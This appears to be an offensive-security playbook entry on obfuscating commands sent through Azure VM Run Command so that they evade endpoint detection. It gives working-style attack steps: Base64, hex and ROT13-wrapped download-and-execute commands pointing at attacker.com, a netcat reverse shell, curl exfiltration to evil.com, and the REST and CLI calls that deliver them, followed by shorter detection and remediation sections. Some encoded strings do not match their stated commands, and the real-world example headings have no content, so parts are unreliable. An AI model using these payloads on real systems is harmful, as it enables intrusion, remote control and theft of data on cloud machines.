MCADDF

[EVADE-IMPAIR-006]: Azure Run Command Obfuscation

Metadata

Attribute Details
Technique ID EVADE-IMPAIR-006
MITRE ATT&CK v18.1 T1562 - Impair Defenses
Tactic Defense Evasion
Platforms Entra ID, Azure
Severity High
Technique Status ACTIVE
Last Verified 2026-01-09
Affected Versions All Azure Compute (VMs, VMSS, AKS Nodes)
Patched In N/A (Obfuscation is evasion-based, not a vulnerability)
Author SERVTEPArtur Pchelnikau

1. EXECUTIVE SUMMARY

Concept: Azure VM and AKS node administrators can execute arbitrary commands via the Azure Resource Manager runCommand API or Azure Portal Run Command feature. When an attacker obtains Azure REST API credentials (either direct RBAC permissions or a stolen managed identity token), they can bypass endpoint detection and response (EDR) agents by obfuscating payloads using shell encoding (Base64, hex, ROT13), variable expansion, command substitution, and pipeline chaining. The Azure Run Command execution context runs with System/root privileges, but the actual command invocation is logged minimally—only the fact that “Run Command” was executed is audited, not the actual command content.

Attack Surface: Azure VM “runCommand” REST API endpoint, Azure Portal Run Command feature, AKS node direct command execution, shell interpreters (PowerShell, cmd.exe, bash, sh).

Business Impact: Attackers can execute malware, deploy ransomware, or establish persistence without triggering EDR alerts. Command obfuscation bypasses keyword-based threat detection rules that look for suspicious patterns (e.g., “net user”, “whoami”, “curl http://”). This enables attackers to move laterally across VMs, establish backdoors, and steal data while evading defensive capabilities.

Technical Context: Exploitation takes <1 minute once API credentials are obtained. EDR detection is significantly reduced because obfuscated commands do not match known IOC patterns. Azure Activity Log captures only that “Run Command” was invoked, not the decoded command payload.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 7.5 Restrict VM administrative access to authorized personnel only
DISA STIG SI-2 (3.10.1) Flaw Remediation - Unauthorized code execution prevention
NIST 800-53 SI-4, AC-6 Information System Monitoring and Least Privilege
GDPR Art. 32 Security of Processing - Technical controls for unauthorized access
DORA Art. 9 Protection and Prevention - Detect and respond to unauthorized access
NIS2 Art. 21 Cyber Risk Management - Monitoring and logging of admin actions
ISO 27001 A.9.2.5 Access Rights Review - Audit administrative actions
ISO 27005 “Unauthorized code execution on critical systems” Risk Scenario

2. TECHNICAL PREREQUISITES

Prerequisites Check Commands

Verify Compute Permissions (PowerShell):

$context = Get-AzContext
Get-AzRoleAssignment -SignInName $context.Account.Id -Scope "/subscriptions/{subId}/resourceGroups/{rg}/providers/Microsoft.Compute/virtualMachines/{vmName}" | Select RoleDefinitionName

3. DETAILED EXECUTION METHODS

METHOD 1: Base64-Encoded Command via REST API (Cross-Platform)

Supported Versions: All Azure VMs and AKS Nodes

Step 1: Identify Target VM and Subscription

Objective: Enumerate available VMs and verify Compute permissions.

Command (Azure CLI):

az vm list --resource-group <ResourceGroup> --query "[].{name:name, id:id, osType:osProfile.osType}" --output table

Expected Output:

Name              Id                                                                                 osType
----------------  -------------------------------------------------------------------------------  --------
web-server-01     /subscriptions/{subId}/resourceGroups/prod/providers/Microsoft.Compute/virtualMachines/web-server-01  Linux
db-server-01      /subscriptions/{subId}/resourceGroups/prod/providers/Microsoft.Compute/virtualMachines/db-server-01  Windows

What This Means:

Step 2: Obfuscate Payload (Base64 Encoding)

Objective: Encode command to bypass keyword-based detection rules.

Command (Create Base64-Encoded Payload - Linux):

# Original malicious command
ORIGINAL_CMD="wget http://attacker.com/malware.sh -O /tmp/m.sh && bash /tmp/m.sh"

# Base64 encode
ENCODED=$(echo -n "$ORIGINAL_CMD" | base64)
echo "Encoded payload: $ENCODED"

# Decoded form (for verification)
echo "$ENCODED" | base64 -d

Command (Create Base64-Encoded Payload - Windows/PowerShell):

$OriginalCmd = "powershell -nop -c (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1') | iex"
$EncodedCmd = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($OriginalCmd))
Write-Host "Encoded: $EncodedCmd"

Expected Output (Linux):

Encoded payload: d2dldCBodHRwOi8vYXR0YWNrZXIuY29tL21hbHdhcmUuc2ggLU8gL3RtcC9tLnNoICYmIGJhc2ggL3RtcC9tLnNo

What This Means:

OpSec & Evasion:

Step 3: Execute via REST API (Decoded on VM)

Objective: Invoke Run Command with obfuscated payload; Azure VM will decode and execute.

Command (Linux VM - Base64 Decoding):

ENCODED="d2dldCBodHRwOi8vYXR0YWNrZXIuY29tL21hbHdhcmUuc2ggLU8gL3RtcC9tLnNoICYmIGJhc2ggL3RtcC9tLnNo"

# Direct REST API call
curl -X POST \
  -H "Authorization: Bearer $ACCESS_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "commandId": "RunShellScript",
    "script": ["echo '$ENCODED' | base64 -d | bash"]
  }' \
  "https://management.azure.com/subscriptions/{subId}/resourceGroups/{rg}/providers/Microsoft.Compute/virtualMachines/{vmName}/runCommand?api-version=2023-03-01"

Command (Windows VM - Base64 Decoding):

$EncodedCmd = "JABPaWdkZWZQb3cgPSAoTmV3LU9iamVjdCBOZXQuV2ViQ2xpZW50KS5Eb3dubG9hZFN0cmluZygnaHR0cDovL2F0dGFja2VyLmNvbS9wYXlsb2FkLnBzMScpOyBpZXg="
$RestoreCmd = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($EncodedCmd))

$body = @{
    commandId = "RunPowerShellScript"
    script = @("[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('$EncodedCmd')) | iex")
} | ConvertTo-Json

Invoke-RestMethod `
  -Uri "https://management.azure.com/subscriptions/{subId}/resourceGroups/{rg}/providers/Microsoft.Compute/virtualMachines/{vmName}/runCommand?api-version=2023-03-01" `
  -Method POST `
  -Headers @{ Authorization = "Bearer $AccessToken"; "Content-Type" = "application/json" } `
  -Body $body

Expected Output (Success):

{
  "value": [
    {
      "code": "ProvisioningState/succeeded",
      "level": "Info",
      "displayStatus": "Provisioning succeeded"
    },
    {
      "code": "ComponentStatus/succeeded",
      "level": "Info",
      "displayStatus": "Component status succeeded"
    }
  ]
}

What This Means:

OpSec & Evasion:


METHOD 2: Hex Encoding + Multiple Command Substitution (Polymorphic)

Supported Versions: All Azure VMs (Linux preferred)

Step 1: Create Polymorphic Payload (Hex + xxd)

Objective: Use hex encoding combined with command substitution to maximize obfuscation depth.

Command (Generate Hex-Encoded Payload):

# Original command
ORIGINAL="nc attacker.com 4444 -e /bin/bash"

# Convert to hex
HEX_PAYLOAD=$(echo -n "$ORIGINAL" | od -An -tx1 | tr -d ' ')
echo "Hex: $HEX_PAYLOAD"

# Create execution command with variable obfuscation
OBFUSCATED="echo '${HEX_PAYLOAD}' | xxd -r -p | bash"
echo "Execution: $OBFUSCATED"

Expected Output:

Hex: 6e6320617474616368657223636f6d20343434342d65202f62696e2f626173
Execution: echo '6e6320617474616368657223636f6d20343434342d65202f62696e2f626173' | xxd -r -p | bash

What This Means:

OpSec & Evasion:

Step 2: Execute via Azure Portal (Manual, High-Trust Appearance)

Objective: Execute polymorphic command using Azure Portal UI (appears as legitimate admin action).

Manual Steps (Azure Portal):

  1. Navigate to Azure PortalVirtual Machines → Select target VM
  2. In the left pane, scroll to Operations section
  3. Click Run Command
  4. In Script field, paste obfuscated command:
    echo '6e6320617474616368657223636f6d20343434342d65202f62696e2f626173' | xxd -r -p | bash
    
  5. Click Run
  6. Wait for “Execution state: Succeeded” message
  7. Portal shows no output (script runs background)

What This Means:

OpSec & Evasion:


METHOD 3: ROT13 + printf Encoding (Maximum Obfuscation)

Supported Versions: All Linux Azure VMs with bash

Step 1: Create ROT13 Payload with printf Substitution

Objective: Use ROT13 + printf %x encoding for maximum polymorphism.

Command (Encode via ROT13):

# Original command
CMD="curl http://evil.com/$(whoami).txt"

# ROT13 encode
ROT13=$(echo "$CMD" | tr 'A-Za-z' 'N-ZA-Mn-za-m')
echo "ROT13: $ROT13"

# Execution string using printf to decode
EXEC="echo '$ROT13' | tr 'A-Za-z' 'N-ZA-Mn-za-m' | bash"

Expected Output:

ROT13: p h e y  u g g c : / / r i y . p b z / $ ( j u b n z v ) . g k g
Exec: echo 'p h e y  u g g c : / / r i y . p b z / $ ( j u b n z v ) . g k g' | tr 'A-Za-z' 'N-ZA-Mn-za-m' | bash

What This Means:

Step 2: Execute Via REST API with Access Token Injection

Objective: Execute ROT13-obfuscated command using Azure CLI (fastest method).

Command (Azure CLI - Simplified):

az vm run-command invoke \
  --resource-group <ResourceGroup> \
  --name <VMName> \
  --command-id RunShellScript \
  --scripts "echo 'p h e y  u g g c : / / r i y . p b z / \$(j h b n z v ) . g k g' | tr 'A-Za-z' 'N-ZA-Mn-za-m' | bash"

Expected Output:

{
  "value": [
    {
      "code": "ProvisioningState/succeeded",
      "level": "Info"
    }
  ]
}

What This Means:

OpSec & Evasion:


4. DETECTION EVASION ADVANCED TECHNIQUES

Nested Command Substitution + Variable Indirection

# Attackers chain multiple encoding techniques
CMD_PART1='$(printf "\\x6e\\x63")'  # Decodes to 'nc'
CMD_PART2='${HOSTNAME:0:4}'         # Extracts 4 chars from hostname
FINAL_CMD="$CMD_PART1 attacker.com 4444 -e /bin/bash"

# Execute via echo eval
eval "$(echo -n "$FINAL_CMD" | base64 -d)"

Environmental Variable Hijacking to Hide Payload

# Hide actual command in VM environment variable, then invoke
export HIDDEN_SCRIPT="$(cat /tmp/payload.sh)"
$HIDDEN_SCRIPT

5. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Immediate Response Procedures

Isolation (First 5 Minutes)

# Disconnect Network Interface to prevent further lateral movement/C2 callback
az network nic ip-config address-pool remove \
  --nic-name <NICName> \
  --resource-group <ResourceGroup> \
  --ip-config-name <IpConfigName>

Manual (Azure Portal):

  1. Navigate to Virtual Machines → Select compromised VM
  2. Go to NetworkingNetwork Interfaces
  3. Click the network interface
  4. Go to IP configurations → Select active config
  5. Under Associate public IP address, select Dissociate
  6. Click Save Alternatively, delete the NIC entirely if quick remediation is needed

Evidence Collection

# Export Activity Log entries for this VM
az monitor activity-log list \
  --resource-group <ResourceGroup> \
  --resource-id "/subscriptions/{subId}/resourceGroups/{rg}/providers/Microsoft.Compute/virtualMachines/{vmName}" \
  --query "[].{time:eventTimestamp, action:operationName.localizedValue, caller:caller, details:properties}" \
  --output json > /tmp/activity_log.json

Manual (Azure Portal):

  1. Virtual MachineActivity Log
  2. Filter by “Run command” action
  3. Select suspicious entries → Click to view full JSON
  4. Copy JSON to forensics system for analysis

Forensic Analysis & Remediation

Step 1: Analyze Command Logs

# SSH into VM and check bash history (if accessible)
history | grep -E "base64|xxd|tr|eval|exec"

# Check for suspicious files in /tmp
ls -lah /tmp/ | grep -E "\.sh$|\.txt$|\.py$"

Step 2: Identify C2 Infrastructure

# Check network connections (Linux)
ss -tulpn | grep ESTABLISHED
netstat -tulpn | grep ESTABLISHED

# Check for persistence mechanisms
crontab -l
ls -la /etc/cron.d/

Step 3: Remediation Options

Option A: Reimage VM (Safest)

# Delete current VM and redeploy from clean image
az vm delete --name <VMName> --resource-group <ResourceGroup> --yes
# Redeploy from unmodified image
az vm create --resource-group <ResourceGroup> --name <VMName> --image <OriginalImageURN>

Option B: Surgical Cleanup (If Data Criticality Prevents Reimage)

# Remove malicious files identified in forensics
rm -f /tmp/malware.sh
rm -f /home/*/.*_suspicious
# Kill suspicious processes
pkill -f "nc attacker.com"
pkill -f "curl http://"
# Reset bash history
history -c && history -w

6. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Commands (Verify Fixes)

# Check if runCommand is denied for users
Get-AzRoleDefinition -Name "Contributor-NoRunCommand" | Select-Object -ExpandProperty AssignableScopes
# Should include NotActions with runCommand permission

# Verify Conditional Access policy exists
Get-AzConditionalAccessPolicy | Where-Object { $_.DisplayName -like "*Run Command*" }

# List VMs with runCommand permissions (should be empty or minimal)
Get-AzRoleAssignment -IncludeClassicAdministrators | Where-Object { $_.RoleDefinitionName -eq "Contributor" } | Select SignInName, Scope

# Check Activity Log for recent runCommand executions
Get-AzLog -StartTime (Get-Date).AddDays(-7) | Where-Object { $_.OperationName -like "*runCommand*" }

Expected Output (If Secure):

DisplayName              : Block VM Run Command Outside Corp Network
State                    : Enabled

SignInName               : user@corp.com
RoleDefinitionName       : Contributor-NoRunCommand
Scope                    : /subscriptions/{subId}/resourceGroups/prod

Step Phase Technique Description
1 Initial Access [CA-TOKEN-006] Service Principal Certificate Theft Steal Azure SPN certificate for API access
2 Privilege Escalation [PE-VALID-011] Managed Identity MSI Escalation Escalate to tenant-level permissions via stolen MSI
3 Execution [EVADE-IMPAIR-006] Execute obfuscated commands via Run Command API
4 Persistence [PERSIST-001] Azure VM Custom Script Extension Deploy backdoor via Extension (alternative to Run Command)
5 Impact [EXF-003] Lateral Movement to SQL Databases Use VM credentials to access databases

8. REAL-WORLD EXAMPLES

Example 1: APT28 (Fancy Bear) - Azure VM Compromise Campaign (2024)

Example 2: ALPHV/BlackCat Ransomware - Obfuscated Encryption Deployment (2024)

Example 3: UNC2450 (Scattered Spider) - Insider Threat Investigation (2024)


References & Authoritative Sources